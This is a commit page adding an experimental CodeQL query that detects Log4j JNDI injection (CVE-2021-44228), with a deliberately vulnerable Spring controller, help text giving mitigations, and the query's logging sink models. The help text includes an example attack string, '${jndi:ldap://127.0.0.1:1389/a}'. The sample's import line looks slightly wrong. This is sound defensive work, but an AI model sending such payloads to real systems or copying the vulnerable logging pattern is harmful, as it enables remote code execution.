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Merge pull request #7354 from atorralba/atorralba/log4j-rce-experimen…
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Java: Experimental query for Log4j JNDI Injection
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smowton committed Dec 14, 2021
2 parents 37d76f5 + aee617f commit 85ff57b
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package com.example.restservice;

import org.apache.commons.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class Log4jJndiInjection {

private final Logger logger = LogManager.getLogger();

@GetMapping("/bad")
public String bad(@RequestParam(value = "username", defaultValue = "name") String username) {
logger.warn("User:'{}'", username);
return username;
}
}
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<!DOCTYPE qhelp PUBLIC
"-//Semmle//qhelp//EN"
"qhelp.dtd">
<qhelp>

<overview>
<p>
This query flags up situations in which untrusted user data is included in Log4j messages. If an application uses a Log4j version prior to 2.15.0, using untrusted user data in log messages will make an application vulnerable to remote code execution through Log4j's LDAP JNDI parser (CVE-2021-44228).
</p>
<p>
As per Apache's Log4j security guide: Apache Log4j2 &lt;=2.14.1 JNDI features used in configuration, log messages, and parameters
do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or
log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
From Log4j 2.15.0, this behavior has been disabled by default. Note that this query will not try to determine which version of Log4j is used.
</p>
</overview>

<recommendation>
<p>
This issue was remediated in Log4j v2.15.0. The Apache Logging Services team provides the following mitigation advice:
</p>
<p>
In previous releases (>=2.10) this behavior can be mitigated by setting system property <code>log4j2.formatMsgNoLookups</code> to <code>true</code>
or by removing the <code>JndiLookup</code> class from the classpath (example: <code>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</code>).
</p>
<p>
You can manually check for use of affected versions of Log4j by searching your project repository for Log4j use, which is often in a pom.xml file.
</p>
<p>
Where possible, upgrade to Log4j version 2.15.0. If you are using Log4j v1 there is a migration guide available.
</p>
<p>
Please note that Log4j v1 is End Of Life (EOL) and will not receive patches for this issue. Log4j v1 is also vulnerable to other RCE vectors and we
recommend you migrate to Log4j 2.15.0 where possible.
</p>
<p>
If upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true system property is set on both client- and server-side components.
</p>
</recommendation>

<example>
<p>In this example, a username, provided by the user, is logged using <code>logger.warn</code> (from <code>org.apache.logging.log4j.Logger</code>).
If a malicious user provides <code>${jndi:ldap://127.0.0.1:1389/a}</code> as a username parameter,
Log4j will make a JNDI lookup on the specified LDAP server and potentially load arbitrary code.
</p>
<sample src="Log4jJndiInjection.java" />
</example>

<references>
<li>GitHub Advisory Database: <a href="https://github.com/advisories/GHSA-jfh8-c2jp-5v3q">Remote code injection in Log4j</a>.</li>
</references>
</qhelp>
182 changes: 182 additions & 0 deletions java/ql/src/experimental/Security/CWE/CWE-020/Log4jJndiInjection.ql
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/**
* @name Log4j log injection and LDAP JNDI injection
* @description Building Log4j log entries from user-controlled data may allow
* attackers to inject malicious code through JNDI lookups.
* @kind path-problem
* @problem.severity error
* @precision high
* @id java/log4j-injection
* @tags security
* external/cwe/cwe-020
* external/cwe/cwe-074
* external/cwe/cwe-400
* external/cwe/cwe-502
*/

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.ExternalFlow
import DataFlow::PathGraph

private class LoggingSinkModels extends SinkModelCsv {
override predicate row(string row) {
row =
[
// org.apache.logging.log4j.Logger
"org.apache.logging.log4j;Logger;true;" +
["debug", "error", "fatal", "info", "trace", "warn"] +
[
";(CharSequence);;Argument[0];logging",
";(CharSequence,Throwable);;Argument[0];logging",
";(Marker,CharSequence);;Argument[1];logging",
";(Marker,CharSequence,Throwable);;Argument[1];logging",
";(Marker,Message);;Argument[1];logging",
";(Marker,MessageSupplier);;Argument[1];logging",
";(Marker,MessageSupplier);;Argument[1];logging",
";(Marker,MessageSupplier,Throwable);;Argument[1];logging",
";(Marker,Object);;Argument[1];logging",
";(Marker,Object,Throwable);;Argument[1];logging",
";(Marker,String);;Argument[1];logging",
";(Marker,String,Object[]);;Argument[1..2];logging",
";(Marker,String,Object);;Argument[1..2];logging",
";(Marker,String,Object,Object);;Argument[1..3];logging",
";(Marker,String,Object,Object,Object);;Argument[1..4];logging",
";(Marker,String,Object,Object,Object,Object);;Argument[1..5];logging",
";(Marker,String,Object,Object,Object,Object,Object);;Argument[1..6];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging",
";(Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging",
";(Marker,String,Supplier);;Argument[1..2];logging",
";(Marker,String,Throwable);;Argument[1];logging",
";(Marker,Supplier);;Argument[1];logging",
";(Marker,Supplier,Throwable);;Argument[1];logging",
";(MessageSupplier);;Argument[0];logging",
";(MessageSupplier,Throwable);;Argument[0];logging", ";(Message);;Argument[0];logging",
";(Message,Throwable);;Argument[0];logging", ";(Object);;Argument[0];logging",
";(Object,Throwable);;Argument[0];logging", ";(String);;Argument[0];logging",
";(String,Object[]);;Argument[0..1];logging",
";(String,Object);;Argument[0..1];logging",
";(String,Object,Object);;Argument[0..2];logging",
";(String,Object,Object,Object);;Argument[0..3];logging",
";(String,Object,Object,Object,Object);;Argument[0..4];logging",
";(String,Object,Object,Object,Object,Object);;Argument[0..5];logging",
";(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging",
";(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging",
";(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging",
";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging",
";(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging",
";(String,Supplier);;Argument[0..1];logging",
";(String,Throwable);;Argument[0];logging", ";(Supplier);;Argument[0];logging",
";(Supplier,Throwable);;Argument[0];logging"
],
"org.apache.logging.log4j;Logger;true;log" +
[
";(Level,CharSequence);;Argument[1];logging",
";(Level,CharSequence,Throwable);;Argument[1];logging",
";(Level,Marker,CharSequence);;Argument[2];logging",
";(Level,Marker,CharSequence,Throwable);;Argument[2];logging",
";(Level,Marker,Message);;Argument[2];logging",
";(Level,Marker,MessageSupplier);;Argument[2];logging",
";(Level,Marker,MessageSupplier);;Argument[2];logging",
";(Level,Marker,MessageSupplier,Throwable);;Argument[2];logging",
";(Level,Marker,Object);;Argument[2];logging",
";(Level,Marker,Object,Throwable);;Argument[2];logging",
";(Level,Marker,String);;Argument[2];logging",
";(Level,Marker,String,Object[]);;Argument[2..3];logging",
";(Level,Marker,String,Object);;Argument[2..3];logging",
";(Level,Marker,String,Object,Object);;Argument[2..4];logging",
";(Level,Marker,String,Object,Object,Object);;Argument[2..5];logging",
";(Level,Marker,String,Object,Object,Object,Object);;Argument[2..6];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object);;Argument[2..7];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object);;Argument[2..8];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object);;Argument[2..9];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..10];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..11];logging",
";(Level,Marker,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[2..12];logging",
";(Level,Marker,String,Supplier);;Argument[2..3];logging",
";(Level,Marker,String,Throwable);;Argument[2];logging",
";(Level,Marker,Supplier);;Argument[2];logging",
";(Level,Marker,Supplier,Throwable);;Argument[2];logging",
";(Level,Message);;Argument[1];logging",
";(Level,MessageSupplier);;Argument[1];logging",
";(Level,MessageSupplier,Throwable);;Argument[1];logging",
";(Level,Message);;Argument[1];logging",
";(Level,Message,Throwable);;Argument[1];logging",
";(Level,Object);;Argument[1];logging", ";(Level,Object);;Argument[1];logging",
";(Level,String);;Argument[1];logging",
";(Level,Object,Throwable);;Argument[1];logging",
";(Level,String);;Argument[1];logging",
";(Level,String,Object[]);;Argument[1..2];logging",
";(Level,String,Object);;Argument[1..2];logging",
";(Level,String,Object,Object);;Argument[1..3];logging",
";(Level,String,Object,Object,Object);;Argument[1..4];logging",
";(Level,String,Object,Object,Object,Object);;Argument[1..5];logging",
";(Level,String,Object,Object,Object,Object,Object);;Argument[1..6];logging",
";(Level,String,Object,Object,Object,Object,Object,Object);;Argument[1..7];logging",
";(Level,String,Object,Object,Object,Object,Object,Object,Object);;Argument[1..8];logging",
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..9];logging",
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..10];logging",
";(Level,String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[1..11];logging",
";(Level,String,Supplier);;Argument[1..2];logging",
";(Level,String,Throwable);;Argument[1];logging",
";(Level,Supplier);;Argument[1];logging",
";(Level,Supplier,Throwable);;Argument[1];logging"
], "org.apache.logging.log4j;Logger;true;entry;(Object[]);;Argument[0];logging",
"org.apache.logging.log4j;Logger;true;logMessage;(Level,Marker,String,StackTraceElement,Message,Throwable);;Argument[4];logging",
"org.apache.logging.log4j;Logger;true;printf;(Level,Marker,String,Object[]);;Argument[2..3];logging",
"org.apache.logging.log4j;Logger;true;printf;(Level,String,Object[]);;Argument[1..2];logging",
// org.apache.logging.log4j.LogBuilder
"org.apache.logging.log4j;LogBuilder;true;log;(CharSequence);;Argument[0];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(Message);;Argument[0];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(Object);;Argument[0];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String);;Argument[0];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object[]);;Argument[0..1];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object);;Argument[0..1];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object);;Argument[0..2];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object);;Argument[0..3];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object);;Argument[0..4];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object);;Argument[0..5];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object);;Argument[0..6];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object);;Argument[0..7];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..8];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..9];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Object,Object,Object,Object,Object,Object,Object,Object,Object,Object);;Argument[0..10];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(String,Supplier[]);;Argument[0..1];logging",
"org.apache.logging.log4j;LogBuilder;true;log;(Supplier);;Argument[0];logging"
]
}
}

/** A data flow sink for unvalidated user input that is used to log messages. */
class Log4jInjectionSink extends DataFlow::Node {
Log4jInjectionSink() { sinkNode(this, "logging") }
}

/**
* A node that sanitizes a message before logging to avoid log injection.
*/
class Log4jInjectionSanitizer extends DataFlow::Node {
Log4jInjectionSanitizer() {
this.getType() instanceof BoxedType or this.getType() instanceof PrimitiveType
}
}

/**
* A taint-tracking configuration for tracking untrusted user input used in log entries.
*/
class Log4jInjectionConfiguration extends TaintTracking::Configuration {
Log4jInjectionConfiguration() { this = "Log4jInjectionConfiguration" }

override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }

override predicate isSink(DataFlow::Node sink) { sink instanceof Log4jInjectionSink }

override predicate isSanitizer(DataFlow::Node node) { node instanceof Log4jInjectionSanitizer }
}

from Log4jInjectionConfiguration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "This $@ flows to a Log4j log entry.", source.getNode(),
"user-provided value"

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